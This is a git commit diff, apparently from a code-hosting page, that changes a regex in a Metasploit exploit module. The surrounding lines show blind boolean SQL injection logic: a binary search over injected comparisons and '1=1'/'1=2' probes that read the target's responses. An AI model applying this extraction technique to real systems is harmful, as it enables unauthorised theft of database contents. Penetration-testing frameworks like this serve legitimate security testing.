Do regex \d+ instead
parent
cda4c6b3b3
commit
ba4e0d304b
|
@ -243,7 +243,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
mid = (lower + upper) / 2
|
||||
sqli = "#{sql}>#{mid}"
|
||||
result = perform_request(sqli, cookie)
|
||||
if result =~ /There are \d{0,8} entries\./
|
||||
if result =~ /There are \d+ entries\./
|
||||
lower = mid + 1
|
||||
else
|
||||
upper = mid
|
||||
|
@ -254,7 +254,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
else
|
||||
sqli = "#{sql}=#{lower}"
|
||||
result = perform_request(sqli, cookie)
|
||||
if result =~ /There are \d{0,8} entries\./
|
||||
if result =~ /There are \d+ entries\./
|
||||
value = lower
|
||||
end
|
||||
end
|
||||
|
@ -265,12 +265,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
if do_test
|
||||
if do_true
|
||||
result = perform_request("1=1", cookie)
|
||||
if result =~ /There are \d{0,8} entries\./
|
||||
if result =~ /There are \d+ entries\./
|
||||
return true
|
||||
end
|
||||
else not do_true
|
||||
result = perform_request("1=2", cookie)
|
||||
if not result =~ /There are \d{0,8} entries\./
|
||||
if not result =~ /There are \d+ entries\./
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue